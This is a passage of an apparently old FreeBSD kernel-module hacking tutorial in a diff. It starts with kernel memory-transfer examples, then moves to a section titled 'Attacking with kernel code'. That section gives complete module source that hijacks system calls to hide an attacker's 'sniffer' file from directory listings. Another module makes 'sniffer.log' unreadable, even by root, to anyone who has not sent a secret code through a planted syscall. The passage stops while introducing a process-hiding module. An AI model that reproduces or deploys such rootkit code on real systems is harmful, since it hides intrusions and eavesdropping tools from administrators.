size+=sizeof(struct module); + } + /*return number of procs returned in buffer*/ + p->p_retval[0]=size/sizeof(struct module); + break; + } + case GD_LINKFILES : + { + size=0; + /*lock*/ + lockmgr(&lock, LK_SHARED, 0, curproc); + for (lf=TAILQ_FIRST(&files); lf; lf=TAILQ_NEXT(lf, link)) + { + size+=sizeof(struct linker_file); + } + /*unlock*/ + lockmgr(&lock, LK_RELEASE, 0, curproc); + if (flag==1) {p->p_retval[0]=size; break;} + size=0; + lockmgr(&lock, LK_SHARED, 0, curproc); + for (lf=TAILQ_FIRST(&files); lf; lf=TAILQ_NEXT(lf, link)) + { + copyout(lf, uap->buffer+size, sizeof(struct linker_file)); + size+=sizeof(struct linker_file); + } + lockmgr(&lock, LK_RELEASE, 0, curproc); + /*return number of procs returned in buffer*/ + p->p_retval[0]=size/sizeof(struct linker_file); + break; + } + } + return 0; +} + + +/*the hacked open syscall*/ +static struct sysent getdata_sysent = { + 2, + getdata /* sy_call */ +}; + + + +/* + * The function called at load/unload. + */ +static int +dummy_handler (struct module *module, int cmd, void *arg) +{ + int error = 0; + switch (cmd) { + case MOD_LOAD : + /*install the system call, UNLOAD will not remove it, I am too lazy :)*/ + sysent[210]=getdata_sysent; + break; + case MOD_UNLOAD : + break; + default : + error = EINVAL; + break; + } + return error; +} + +/*install the module as our MISC type*/ +static moduledata_t syscall_mod = { + "TheSeeker", + dummy_handler, + NULL +}; + +DECLARE_MODULE(syscall, syscall_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE); + + +This is no nice style programming style, but working. The copy* functions will +be explained in I.8. Recognize that return values for user space a saved in +a part of the module structure (p->p_retval[0]). The rest should be quite +clear.
    +I also wrote a little user space program showing how to use this system call. +Of course, you have to load the module before. + +#include <sys/types.h> +#include <sys/param.h> +#include <sys/proc.h> +#include <sys/module.h> +#include <sys/sysent.h> +#include <sys/kernel.h> +#include <sys/systm.h> +#include <sys/linker.h> +#include <sys/sysent.h> +#include <sys/proc.h> +#include <sys/syscall.h> +#include <sys/file.h> +#include <sys/malloc.h> +#include <sys/types.h> +#include <sys/lock.h> + + +typedef struct linker_file* linker_file_t; + +struct linker_file { + int refs; /* reference count */ + int userrefs; /* kldload(2) count */ + TAILQ_ENTRY(linker_file) link; /* list of all loaded files */ + char* filename; /* file which was loaded */ + int id; /* unique id */ + caddr_t address; /* load address */ + size_t size; /* size of file */ + int ndeps; /* number of dependancies */ + linker_file_t* deps; /* list of dependancies */ + STAILQ_HEAD(, common_symbol) common; /* list of common symbols */ + TAILQ_HEAD(, module) modules; /* modules in this file */ + void* priv; /* implementation data */ + + struct linker_file_ops* ops; +}; + + +struct module { + TAILQ_ENTRY(module) link; + TAILQ_ENTRY(module) flink; + struct linker_file *file; + int refs; + int id; + char *name; + modeventhand_t handler; + void *arg; + modspecific_t data; +}; + +int errno; + +#define GD_ALLPROC 1 +#define GD_LINKFILES 2 +#define GD_MODULES 3 + + +/*structure for our getdata system call*/ +struct getdata_args { + /*this int value stands for the data the user wants to see*/ + int what; + /*this is a user space buffer where we will put the data*/ + char *buffer; +}; + +void print_allprocs() +{ + struct getdata_args gda; + int size; + struct proc *procs; + char *p; + int counter, tmp; + + /*set the getdata fields*/ + gda.what=GD_ALLPROC; + gda.buffer=NULL; + size=syscall (210, gda); + + /*allocate some bytes*/ + p=(char*)malloc(size); + + /*set the getdata fields*/ + gda.what=GD_ALLPROC; + gda.buffer=(char*)p; + tmp=syscall(210, gda); + procs=(struct proc*)p; + + for (counter=0; counter<tmp; counter++) + printf("PID : %d\n", procs[counter].p_pid); + free(p); +} + + +void print_files() +{ + struct getdata_args gda; + int size; + struct linker_file *procs; + char *p; + int counter, tmp; + + /*set the getdata fields*/ + gda.what=GD_LINKFILES; + gda.buffer=NULL; + size=syscall (210, gda); + + printf("SIZE : %d\n", size); + + /*allocate some bytes*/ + p=(char*)malloc(size); + + /*set the getdata fields*/ + gda.what=GD_LINKFILES; + gda.buffer=(char*)p; + tmp=syscall(210, gda); + printf("STRUCTS : %d\n", tmp); + procs=(struct linker_file*)p; + + for (counter=0; counter<tmp; counter++) + printf("ID : %d\n", procs[counter].id); + + free(p); +} + +void print_modules() +{ + struct getdata_args gda; + int size; + struct module *procs; + char *p; + int counter, tmp; + + /*set the getdata fields*/ + gda.what=GD_MODULES; + gda.buffer=NULL; + size=syscall (210, gda); + + printf("SIZE : %d\n", size); + + /*allocate some bytes*/ + p=(char*)malloc(size); + + /*set the getdata fields*/ + gda.what=GD_MODULES; + gda.buffer=(char*)p; + tmp=syscall(210, gda); + printf("STRUCTS : %d\n", tmp); + procs=(struct module*)p; + /*print the id of every module loaded so far*/ + for (counter=0; counter<tmp; counter++) + printf("ID : %d\n", procs[counter].id); + free(p); +} + + + +int +main(int argc, char **argv) +{ + print_modules(); + return 0; +} + + +Arghh, I hope no computer science professor will see this, it's a cruel kind of +programming ;), but working [I hate it too loose time with nice software +design...]. Of course, it would be very easy to make this program more +compact, but I also wrote it this way to make it easier to understand. The +different print_* functions will put out the desired information. The +syscall() function calls a certain system call plus required arguments.
    +NOTE : +This module is no perfect solution. Try to access a field like filename in a +linker_file structure you get vie print_files. You will get a nice error, why? +Look at the following image : + +user space : + +---------------------------------------------------------------------------- + +kernel space : one linker_file structure + +++++++++++++++++++++++++ + +... + + + char *filename + ---------> name + +... + points to an address in + +... + kernel space + +... + + + +Now what did our system call, take a look at the next image : + + +user space : one linker_file structure + +++++++++++++++++++++++++ + +... + + + char *filename + ---- + +... + | + +... + | + +... + | + | + | + | +---------------------------------------------------------------------------- + | +kernel space : | + |---> name + + + +Do you see the problem? The char* filename pointer still points to the old +address in kernel space while the linker_file structure was move to user +space. This means you cannot access any pointer fields in the structures / +lists exported by TheSeeker module. Of course, you could also transform those +address to user space, but that would be too complicated for a beginner +example, so I did not implement it. Of course you can access any other fields +that don't point to some location. + +

    +

    8. From User to Kernel space and back

    +

    + +In TheSeeker I introduced some kernel functions that were responsible for user +<-> kernel space transitions. The following list shows all functions that are +important for that task : +

      +
    • int copyin(const void *uaddr, void *kaddr, size_t len);
      +->copies len bytes from user space (uaddr) to kernel space (kaddr)
      + +
    • int copyout(const void *kaddr, void *uaddr, size_t len);
      +->copies len bytes from kernel space (kaddr) to user space (uaddr)
      + +
    • int copyinstr(const void *uaddr, void *kaddr, size_t len, size_t +*done);
      +->copies NUL-terminated string, at most len bytes long, fom user +space (uaddr) to kernel space (kaddr). The number of bytes actually copied +is returned in done.
      +
    +I always used these functions. There are also some other byte-oriented +functions (like fetch etc.) but I nver used them. +The easiest task is to copy from user to kerne space. You have only to provide +a buffer in kernel space. Take a look at the following fragment (taken from +my directory hack) : + +/*We need to define M_DIRP2 for allocating some memory in kernel space with + the help of the MALLOC macro*/ +MALLOC_DEFINE(M_DIRP2, "dirp2", "struct"); + +... + +struct dirent *dirp2, *dirp3; + +... + +/*allocate memory*/ +MALLOC(dirp2, struct dirent*, tmp, M_DIRP2, M_NOWAIT); + +... + +/*copy from user space (uap->buf) to kernel space (dirp2) tmp bytes*/ +copyin(uap->buf, dirp2, tmp); + + +Look at the MALLOC man page for more details. Of course you could also use +something like char mem[100]; instead of MALLOC, but malloc is the better +choice.
    +So copyin from user to kernel space a trivial. But what about the other +direction? You have to differentiate between two cases : is there already an +allocated buffer for the process in user space? If so just use copyout and you +are done. But what to do if you don't have a memory buffer in user space. Look +at my solution (I made lots of comments for beginners, please read them :)): + +/*This example demonstrates how to use the OBREAK syscall to issue a system +call from kernel mode. I implemented a syscall (offset 210) which will create +a directory (TESTDIR) by using the mkdir syscall. The general problem with +this task is supplying the arguments for mkdir from +user space+.*/ + +#include <sys/types.h> +#include <sys/param.h> +#include <sys/proc.h> +#include <sys/module.h> +#include <sys/sysent.h> +#include <sys/kernel.h> +#include <sys/systm.h> +#include <sys/linker.h> +#include <sys/sysproto.h> +#include <sys/sysent.h> +#include <sys/proc.h> +#include <sys/syscall.h> + + +/* + * Shareable process virtual address space. + * May eventually be merged with vm_map. + * Several fields are temporary (text, data stuff). + */ +struct vmspace { +/*NOTE : I just used some padding stuff, to avoid too much include file + problems... +*/ +/* struct vm_map vm_map; VM address map */ + char pad1[100]; +/* struct pmap vm_pmap; private physical map */ + char pad2[36]; + int vm_refcnt; /* number of references */ + caddr_t vm_shm; /* SYS5 shared memory private data XXX */ +/* we copy from vm_startcopy to the end of the structure on fork */ +#define vm_startcopy vm_rssize + segsz_t vm_rssize; /* current resident set size in pages */ + segsz_t vm_swrss; /* resident set size before last swap */ + segsz_t vm_tsize; /* text size (pages) XXX */ + segsz_t vm_dsize; /* data size (pages) XXX */ + segsz_t vm_ssize; /* stack size (pages) */ + caddr_t vm_taddr; /* user virtual address of text XXX */ + caddr_t vm_daddr; /* user virtual address of data XXX */ + caddr_t vm_maxsaddr; /* user VA at max stack growth */ + caddr_t vm_minsaddr; /* user VA at max stack growth */ +}; + + + +/*just a simple syscall handler which will create a dir entry*/ +static int user_syscall (struct proc *p, void *arg) +{ + /*example directory we want to create from kernel space via syscall + recall that this string is saved in kernel context and not in user space + is we need it*/ + char *kernel_name="./TESTDIR\0"; + + /*this will hold our address in user space (for the directory name)*/ + char *user_name; + + /*one structure for kernel space and one for the user part : + This structure is used by the syscall mkdir for holding the required + arguments (see system call listing)*/ + struct mkdir_args kernel_ma; + struct mkdir_args *user_ma; + + /*we need to allocate memory, so we use the easiest way : syscall obreak*/ + struct obreak_args oa; + + /*the process we want to 'abuse' for saving our data in its VM space. + I used curproc which always points to the current process.*/ + struct proc *userproc=curproc; + + /*NOTE : The following stuff is very experimental ! + ---- + */ + + /* + allocate 4096 bytes of heap memory for the user space args : + ctob : transforms a given page count to the corresponding bytes count; + of course, this calculation depends on the underlying architecture + btoc : this is the counterpart to ctob + */ + oa.nsize=userproc->p_vmspace->vm_daddr+ctob(userproc->p_vmspace->vm_dsize)+ + 4096; + + /*this is just for debugging*/ + printf("Process ID : %d\n", userproc->p_pid); + printf("OLD DATA SEGMENT SIZE (bytes) : %d\n", ctob(userproc->p_vmspace->vm_dsize)); + printf("OBREAK RETURN VALUE : %d\n",obreak(userproc, &oa)); + printf("NEW DATA SEGMENT SIZE (bytes) : %d\n", ctob(userproc->p_vmspace->vm_dsize)); + + /*move our directory name to a random location in the user space data segment + range (within the newly allocated page*/ + user_name=oa.nsize-80; + + /*use copyout, which is able to copy from kernel to user space*/ + copyout(kernel_name, user_name, strlen(kernel_name)); + + /*just for debugging : where did we save the name in user space?*/ + printf("USER NAME ADDRESS : %p\n", user_name); + + /*now it gets a bit tricky : + -------------------------- + we move the VM address from user space into the kernel_ma.path pointer in + kernel space*/ + + kernel_ma.path=oa.nsize-80; + + /*creation mode = 0*/ + kernel_ma.mode=0; + + /*NOW the kernel_ma structure is ok, we can copy this structure to user space + */ + + /*select a place (within the allocated page) where to put the user_ma + structure*/ + user_ma=(struct mkdir_args*)oa.nsize-50; + + /*again a copyout*/ + copyout(&kernel_ma, user_ma, sizeof(struct mkdir_args)); + + /*again some debug messages*/ + printf("USER STRUCT ADDRESS : %p\n",user_ma); + + /*Issue the mkdir syscall. Did we succeed ? Zero return value stands for + success.*/ + printf("MKDIR RETURN : %d\n", mkdir(userproc, user_ma)); + + return 0; +} + +/* + * The `sysent' for the new syscall + */ +static struct sysent user_syscall_sysent = { + 0, + user_syscall /* sy_call */ +}; + +/* + * The offset in sysent where the syscall is allocated. + */ + +/*210 is a free slot in FreeBSD 3.1*/ +static int offset = 210; + +/* + * The function called at load/unload. + */ +static int +load (struct module *module, int cmd, void *arg) +{ + /*no special processing here*/ + return 0; +} + +SYSCALL_MODULE(syscall, &offset, &user_syscall_sysent, load, NULL); + +The comments should make everything quite clear. The general idea is to use +the obreak system call to allocate some memory (move the vm_daddr). + +

    +

    9. Last Words

    +

    +I hope you understood the stuff I mentioned in this basic section. It's really +important that you get the general ideas in order to understand part II.
    +You should take a look at the man pages of section 9. There you can find some +interesting kernel functions that will be useful sometimes. + +

    +

    II. Attacking with kernel code

    +

    +The general layout of this article is based on my Linux article. Part II Fun +& Profit will deal with ways to attack a FreeBSD system with modules. My Linux +article shows nearly every aspect of attacking a system with kernel code. The +FreeBSD part here is based on the ideas of Linux LKM hacks (I only added some +items special for FreeBSD). This FreeBSD part will only present those modules, +that needed big code/strategy modifications according to the Linux ones. + +

    +

    1. How to intercept system calls

    +

    +Intercepting systemcalls on FreeBSD is nearly the same like doing this on a +Linux Box. Again we start with a very very basic example : +

    +#include <sys/types.h> +#include <sys/param.h> +#include <sys/proc.h> +#include <sys/module.h> +#include <sys/sysent.h> +#include <sys/kernel.h> +#include <sys/systm.h> +#include <sys/linker.h> +#include <sys/sysproto.h> +#include <sys/sysent.h> +#include <sys/proc.h> +#include <sys/syscall.h> + + +/*The hacked system call*/ +static int +hacked_mkdir (struct proc *p, struct mkdir_args *ua) +{ + /*the only thing we do is printing a debug message*/ + printf("MKDIR SYSCALL : %s\n", ua->path); + return mkdir(p, ua); +} + + +/*the sysentry for the hacked system call. Be careful, argument count must be +same for the hacked and the origanel system call (here 1)*/ + +static struct sysent +hacked_mkdir_mkdir_sysent = { + 1, + hacked_mkdir /* sy_call */ +}; + + +/*our load function*/ +static int +dummy_handler (struct module *module, int cmd, void *arg) +{ + int error = 0; + + switch (cmd) { + case MOD_LOAD : + /*replace the mkdir syscall with our own*/ + sysent[SYS_mkdir]=hacked_mkdir_mkdir_sysent; + break; + case MOD_UNLOAD : + /*argument count has not changed, so we only need to restore the + function pointer*/ + sysent[SYS_mkdir].sy_call=(sy_call_t*)mkdir; + break; + default : + error = EINVAL; + break; + } + return error; +} + +static moduledata_t syscall_mod = { + "Intercept", + dummy_handler, + NULL +}; + +DECLARE_MODULE(syscall, syscall_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE); + + +As you can see you don't have to save the old sysent entry, you just refer to +the original system call function (no problems like those we had with Linux +concerning public and private kernel items).
    +Compile this module (as always take the Makefile from part I) and load it. +Every mkdir system call will produce a nice debug message.
    +For those who don't know which system call to intercept, again : read my Linux +article. On FreeBSD ktrace can be quite useful. + +

    +

    2. Filesystem related hacks

    +

    +Like the Linux one, we first start with filesystem hacks. They are really +important for hiding our tools & logs. + +

    +

    2.1. How to hide files

    +

    + +The following module represents the getdirentries hack that will hide a certain +file from directory listings made by commands like 'ls' :
    +Note : +In Phrack (Volume 7, Issue 51 September 01, 1997, article 09) halflife already +presented a nice hack for this problem. It was implemented under FreeBSD 2.2 +using the LKM scheme. He used a very short and good way to manage file hiding. +My code below does the same stuff for FreeBSD 3.x systems. My approach is not +so short, because I did user <-> kernel space transitions for clearness. The +whole thing would also work without this stuff, but my module can easily be +extended to do other things, because all relevant structures are copied to +kernel space so you can modify them how ever you want before they are copied +back. + +

    +#include <sys/types.h> +#include <sys/param.h> +#include <sys/proc.h> +#include <sys/module.h> +#include <sys/sysent.h> +#include <sys/kernel.h> +#include <sys/systm.h> +#include <sys/linker.h> +#include <sys/sysproto.h> +#include <sys/sysent.h> +#include <sys/proc.h> +#include <sys/syscall.h> +#include <sys/file.h> +#include <sys/malloc.h> +#include <sys/types.h> +#include <dirent.h> + + +/*We need to define M_DIRP2 for allocating some memory in kernel space with + the help of the MALLOC macro*/ +MALLOC_DEFINE(M_DIRP2, "dirp2", "struct"); + + +/*This hack is based on the getdents idea from some linux LKMs. FreeBSD is + a bit more tricky, but it works.*/ +static int +hacked_getdirentries (struct proc *p, struct getdirentries_args *uap) +{ + unsigned int tmp, n, t; + struct dirent *dirp2, *dirp3; + + /*The file we want to hide : The name must match exactly !*/ + char hide[]="sniffer"; + + /*just issue the syscall*/ + getdirentries(p,uap); + + /*this is the way BSD returns status values to the process issueing the + request.*/ + tmp=p->p_retval[0]; + + if (tmp>0) + { + /*allocate memory*/ + MALLOC(dirp2, struct dirent*, tmp, M_DIRP2, M_NOWAIT); + /*copy the dirent structure for user space in our kernel space*/ + copyin(uap->buf, dirp2, tmp); + + /*dirp3 points to dirp2*/ + dirp3=dirp2; + + t=tmp; + + /*In this loop we check for every dirent structure in the user buffer*/ + while (t > 0) + { + n = dirp3->d_reclen; + t-=n; + /*Do we have the entry for our file to hide*/ + if (strcmp((char*)&(dirp3->d_name), (char*)&hide)==0) + { + if (t!=0) + { + /*ATTENTION : Do not use something like strcpy or so. bcopy is able to + handle overlapping memroy locations, so this is our choice*/ + bcopy((char*)dirp3+n,dirp3, t); + } + /*the dirent structure list is shorter now*/ + tmp-=n; + } + /*The following piece of code is necessary, because we get one dirent entry + with d_reclen=0, if we would not implement this, we would get an infinite + while loop*/ + if (dirp3->d_reclen==0) + { + /*end is reached*/ + t=0; + } + /*as long as there is something to copy, do it*/ + if (t!=0) + /*get the next pointer from the dirent structure list*/ + dirp3=(struct dirent*)((char*)dirp3+dirp3->d_reclen); + } + /*we must decrement the getdirentries user call return value, if we changed + something*/ + p->p_retval[0]=tmp; + + /*copy the whole (perhaps modified) memory back to the user buffer*/ + copyout(dirp2, uap->buf, tmp); + + /*free kernel memory*/ + FREE(dirp2, M_DIRP2); + } + /*everything ok, so return 0*/ + return 0; +} + +/*the hacked getdirentries syscall*/ +static struct sysent hacked_getdirentries_sysent = { + 4, + hacked_getdirentries /* sy_call */ +}; + + + +/* + * The function called at load/unload. + */ +static int +dummy_handler (struct module *module, int cmd, void *arg) +{ + int error = 0; + + switch (cmd) { + case MOD_LOAD : + /*replace the getdirentries syscall with our own*/ + sysent[196]=hacked_getdirentries_sysent; + break; + case MOD_UNLOAD : + /*argument count has not changed, so we only need to restore the + function pointer*/ + sysent[196].sy_call=(sy_call_t*)getdirentries; + break; + default : + error = EINVAL; + break; + } + return error; +} + +/*you will recognize that this part is the same (I only changed the module + name) for every module I present.*/ +static moduledata_t syscall_mod = { + "FileHider", + dummy_handler, + NULL +}; + +DECLARE_MODULE(syscall, syscall_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE); + +The general idea is the same for FreeBSD and Linux, but there are some +differences concerning the coding. Especially the return value modification +must be done in a different way. My comments should be clear, so try it. + +

    +

    2.2 How to hide the file contents

    +

    +The following implementation is an extension to the Linux one. The Linux module +was hiding a file contents so that a 'cat filename' returned with a 'file does +not exist' errror. I implemented no way for you (hacker) to access this file, I +only suggested some methods how to do it. The following module also implements +a way to access it by you : +

    +/*This module demonstrates how to make a file unaccessible. It has a +authentication scheme which allows someone using the correct password (here +007) to access the file. Only this user (represented by UID) can access it +later. The password (007) is given through a newly defined syscall.*/ + +#include <sys/types.h> +#include <sys/param.h> +#include <sys/proc.h> +#include <sys/module.h> +#include <sys/sysent.h> +#include <sys/kernel.h> +#include <sys/systm.h> +#include <sys/linker.h> +#include <sys/sysproto.h> +#include <sys/sysent.h> +#include <sys/proc.h> +#include <sys/syscall.h> +#include <sys/file.h> +#include <sys/malloc.h> +#include <sys/types.h> +#include <dirent.h> + +/*this variable will hold the UID of the user who issued the system call with +the correct code*/ + +uid_t access_uid=-1; + +/*code for authentication*/ + +#define CODE 007 + + +/* + * Shareable process virtual address space. + * May eventually be merged with vm_map. + * Several fields are temporary (text, data stuff). + */ +struct vmspace { +/*NOTE : I just used some padding stuff, to avoid too much include file + problems... +*/ +/* struct vm_map vm_map; VM address map */ + char pad1[100]; +/* struct pmap vm_pmap; private physical map */ + char pad2[36]; + int vm_refcnt; /* number of references */ + caddr_t vm_shm; /* SYS5 shared memory private data XXX */ +/* we copy from vm_startcopy to the end of the structure on fork */ +#define vm_startcopy vm_rssize + segsz_t vm_rssize; /* current resident set size in pages */ + segsz_t vm_swrss; /* resident set size before last swap */ + segsz_t vm_tsize; /* text size (pages) XXX */ + segsz_t vm_dsize; /* data size (pages) XXX */ + segsz_t vm_ssize; /* stack size (pages) */ + caddr_t vm_taddr; /* user virtual address of text XXX */ + caddr_t vm_daddr; /* user virtual address of data XXX */ + caddr_t vm_maxsaddr; /* user VA at max stack growth */ + caddr_t vm_minsaddr; /* user VA at max stack growth */ +}; + + +/*arguments for the check_code system call*/ +struct check_code_args { + int code; +}; + +/*after this check only the one who issued the syscall from user space is able +to access the file/directory or whatever (only this UID can access it). Of +course, before, he must supply the correct code.*/ + +static +void check_code(struct proc *p, struct check_code_args *uap) +{ + if (uap->code==CODE) + access_uid=p->p_cred->pc_ucred->cr_uid; + else + access_uid=-1; +} + + +/*the hacked open syscall*/ +static +int hacked_open(struct proc *p, struct open_args *uap) +{ + char name[255]; + /*the file we want to hide*/ + char hide_name[]="sniffer.log"; + size_t done; + + /*get name*/ + copyinstr(uap->path, name, 255, &done); + /*do we have the right file name?*/ + if (strcmp((char*)&name, (char*)&hide_name)==0) + { + /*does this user have the right to access the file*/ + if (access_uid==p->p_cred->pc_ucred->cr_uid) + { + /*if so, do a normal open*/ + return open(p, uap); + } + /*no he has not got the right*/ + else + /*standing for 'no such file or directory*/ + return ENOENT; + } + /*if we don't have our file, just continue*/ + return open(p, uap); +} + + +/*the hacked open syscall*/ +static struct sysent hacked_open_sysent = { + 3, + hacked_open /* sy_call */ +}; + + +/*check code sysentry*/ +static struct sysent check_code_sysent = { + 1, + check_code +}; + +/* + * The function called at load/unload. + */ +static int +dummy_handler (struct module *module, int cmd, void *arg) +{ + int error = 0; + switch (cmd) { + case MOD_LOAD : + /*replace the open syscall with our own*/ + sysent[SYS_open]=hacked_open_sysent; + /*install check code system call (slot/number 210)*/ + sysent[210]=check_code_sysent; + break; + case MOD_UNLOAD : + /*argument count has not changed, so we only need to restore the + function pointer*/ + sysent[SYS_open].sy_call=(sy_call_t*)open; + break; + default : + error = EINVAL; + break; + } + return error; +} + + +static moduledata_t syscall_mod = { + "OpenHide", + dummy_handler, + NULL +}; + +DECLARE_MODULE(syscall, syscall_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE); + + +The open hack in general should be clear. If we have our filename we just +return 'no such file...'. The solution I present to access this file via an +authentication scheme is quite powerful. The user space program is very easy, +just issue a system call with syscall() with the correct code (I won't present +code because it's really too easy).
    +After providing the correct code only you (your UID) has access to this file. +Even root cannot access it (he will also get 'no such file...'). + +

    +

    2.3 And the rest?

    +

    +Those who read my Linux LKM article will recognize that I explained more hacks +(like file operation redirection, mkdir interception etc.). Why don't I +present them here? Because these hacks are trivial to implement after the +things I said already. + +

    +

    3. Process related hacks

    +

    +This section will introduce some modules making it possible to hide any +process and install a backdoor rootshell. + +

    +

    3.1 How to hide any process

    +

    +Well, I have to admit that it wasn't very easy to make this possible on +FreeBSD. And the following solution is quite experimental (but working, of +course). You have to know that FreeBSD uses the so called KVM library to get +information on the processes of the system (it is a library interface to the +allproc and zombroc lists). Besides this, commands like top also use the +procfs. This means we have to attack two points. Hiding an entry from the +procfs is easy (just hide the PID from getdirentries), but what about the KVM +lib. Let me explain some words. The following explaination makes things easier +than they are in reality, but it's enough for a general understanding. +We start with a code snippet from the 'ps' command : +

    +/* + * select procs + */ + if ((kp = kvm_getprocs(kd, what, flag, &nentries)) == 0) + errx(1, "%s", kvm_geterr(kd)); + + if ((kinfo = malloc(nentries * sizeof(*kinfo))) == NULL) + err(1, NULL); + printf("SIZE %d\n", nentries*sizeof(*kinfo)); + for (i = nentries; --i >= 0; ++kp) { + kinfo[i].ki_p = kp; + if (needuser) + saveuser(&kinfo[i]); + dynsizevars(&kinfo[i]); + } + + sizevars(); + + /* + * print header + */ + printheader(); + if (nentries == 0) + exit(0); + /* + * sort proc list + */ + qsort(kinfo, nentries, sizeof(KINFO), pscomp); + /* + * for each proc, call each variable output function. + */ + for (i = lineno = 0; i < nentries; i++) { + if (xflg == 0 && (KI_EPROC(&kinfo[i])->e_tdev == NODEV || + (KI_PROC(&kinfo[i])->p_flag & P_CONTROLT ) == 0)) + continue; + for (vent = vhead; vent; vent = vent->next) { + (vent->var->oproc)(&kinfo[i], vent); + if (vent->next != NULL) + (void)putchar(' '); + } + (void)putchar('\n'); + if (prtheader && lineno++ == prtheader - 4) { + (void)putchar('\n'); + printheader(); + lineno = 0; + } + } + exit(eval); + +There is only one line interesting for us : + +if ((kp = kvm_getprocs(kd, what, flag, &nentries)) == 0) + + + +Note : +what=KERN_PROC_ALL for commands like 'ps' flag=0
    +what=KERN_PRC_PID for commands like 'ps PID' flag=PID
    + +The kvm_getprocs function (from the KVM lib) is the user space interface to +access the kernel process lists. So let's take a look at this function in the +library : + +struct kinfo_proc * +kvm_getprocs(kd, op, arg, cnt) + kvm_t *kd; + int op, arg; + int *cnt; +{ + int mib[4], st, nprocs; + size_t size; + + if (kd->procbase != 0) { + free((void *)kd->procbase); + /* + * Clear this pointer in case this call fails. Otherwise, + * kvm_close() will free it again. + */ + kd->procbase = 0; + } + if (ISALIVE(kd)) { + size = 0; + mib[0] = CTL_KERN; + mib[1] = KERN_PROC; + mib[2] = op; + mib[3] = arg; + st = sysctl(mib, op == KERN_PROC_ALL ? 3 : 4, NULL, &size, NULL, 0); + if (st == -1) { + _kvm_syserr(kd, kd->program, "kvm_getprocs"); + return (0); + } + do { + size += size / 10; + kd->procbase = (struct kinfo_proc *) + _kvm_realloc(kd, kd->procbase, size); + if (kd->procbase == 0) + return (0); + st = sysctl(mib, op == KERN_PROC_ALL ? 3 : 4, + kd->procbase, &size, NULL, 0); + } while (st == -1 && errno == ENOMEM); + if (st == -1) { + _kvm_syserr(kd, kd->program, "kvm_getprocs"); + return (0); + } + if (size % sizeof(struct kinfo_proc) != 0) { + _kvm_err(kd, kd->program, + "proc size mismatch (%d total, %d chunks)", + size, sizeof(struct kinfo_proc)); + return (0); + } + nprocs = size / sizeof(struct kinfo_proc); + } else { + struct nlist nl[4], *p; + + nl[0].n_name = "_nprocs"; + nl[1].n_name = "_allproc"; + nl[2].n_name = "_zombproc"; + nl[3].n_name = 0; + + if (kvm_nlist(kd, nl) != 0) { + for (p = nl; p->n_type != 0; ++p) + ; + _kvm_err(kd, kd->program, + "%s: no such symbol", p->n_name); + return (0); + } + if (KREAD(kd, nl[0].n_value, &nprocs)) { + _kvm_err(kd, kd->program, "can't read nprocs"); + return (0); + } + size = nprocs * sizeof(struct kinfo_proc); + kd->procbase = (struct kinfo_proc *)_kvm_malloc(kd, size); + if (kd->procbase == 0) + return (0); + + nprocs = kvm_deadprocs(kd, op, arg, nl[1].n_value, + nl[2].n_value, nprocs); +#ifdef notdef + size = nprocs * sizeof(struct kinfo_proc); + (void)realloc(kd->procbase, size); +#endif + } + *cnt = nprocs; + return (kd->procbase); +} + +Look at the ISALIVE if construct. Here the library call decides wether it looks +for 'living' procs (->allprocs list) or 'dead' procs (->zombrocs). My further +explaination (and module) is based on a 'living' process (what worth is a +'dead' sniffer ?). So let's take a look at that case.
    +First of all a MIB array is constructed where the operation (op) and an +argument (arg) is inserted. The other two fields are predefined. The op field +is equal to the what value from the ps program (KERN_PROC_ALL, for example) +and the arg field is equal to the flag variable in ps.c (1 or 0). After this +a sysctl is issued with the corresponding MIB.
    +This sysctl call finally reaches sysctl_kern_proc : + +static int +sysctl_kern_proc SYSCTL_HANDLER_ARGS +{ + int *name = (int*) arg1; + u_int namelen = arg2; + struct proc *p; + int doingzomb; + int error = 0; + + if (oidp->oid_number == KERN_PROC_PID) { + if (namelen != 1) + return (EINVAL); + p = pfind((pid_t)name[0]); + if (!p) + return (0); + error = sysctl_out_proc(p, req, 0); + return (error); + } + if (oidp->oid_number == KERN_PROC_ALL && !namelen) + ; + else if (oidp->oid_number != KERN_PROC_ALL && namelen == 1) + ; + else + return (EINVAL); + + if (!req->oldptr) { + /* overestimate by 5 procs */ + error = SYSCTL_OUT(req, 0, sizeof (struct kinfo_proc) * 5); + if (error) + return (error); + } + for (doingzomb=0 ; doingzomb < 2 ; doingzomb++) { + if (!doingzomb) + p = allproc.lh_first; + else + p = zombproc.lh_first; + for (; p != 0; p = p->p_list.le_next) { + /* + * Skip embryonic processes. + */ + if (p->p_stat == SIDL) + continue; + /* + * TODO - make more efficient (see notes below). + * do by session. + */ + switch (oidp->oid_number) { + + case KERN_PROC_PGRP: + /* could do this by traversing pgrp */ + if (p->p_pgrp == NULL || + p->p_pgrp->pg_id != (pid_t)name[0]) + continue; + break; + + case KERN_PROC_TTY: + if ((p->p_flag & P_CONTROLT) == 0 || + p->p_session == NULL || + p->p_session->s_ttyp == NULL || + p->p_session->s_ttyp->t_dev != (dev_t)name[0]) + continue; + break; + + case KERN_PROC_UID: + if (p->p_ucred == NULL || + p->p_ucred->cr_uid != (uid_t)name[0]) + continue; + break; + + case KERN_PROC_RUID: + if (p->p_ucred == NULL || + p->p_cred->p_ruid != (uid_t)name[0]) + continue; + break; + } + + error = sysctl_out_proc(p, req, doingzomb); + if (error) + return (error); + } + } + return (0); +} + +This function first checks whether we want information on all processes +(KERN_ALL_PROCS) or on a single process (KERN_PROC_PID). This means our hack +also must handle these two cases. The rest of the function is quite obvious. +The allproc data is collected and copied in the user space buffer. The last +sysctl_out_proc() function does the rest : + + +static int +sysctl_out_proc(struct proc *p, struct sysctl_req *req, int doingzomb) +{ + struct eproc eproc; + int error; + pid_t pid = p->p_pid; + + fill_eproc(p, &eproc); + error = SYSCTL_OUT(req,(caddr_t)p, sizeof(struct proc)); + if (error) + return (error); + error = SYSCTL_OUT(req,(caddr_t)&eproc, sizeof(eproc)); + if (error) + return (error); + if (!doingzomb && pid && (pfind(pid) != p)) + return EAGAIN; + if (doingzomb && zpfind(pid) != p) + return EAGAIN; + return (0); +} + +This will set return code and move the memory. That's all. +[A big SORRY to all kernel freaks, but explaining all this in more detail would +produce 100 pages and more... ].
    +My module also handles the kill signal just to demonstrate that it is also +possible to intercept any signal calls to the PID of the process we want to +hide. Recall that hiding does not mean that signals can't reach our process ! +Here is my module :
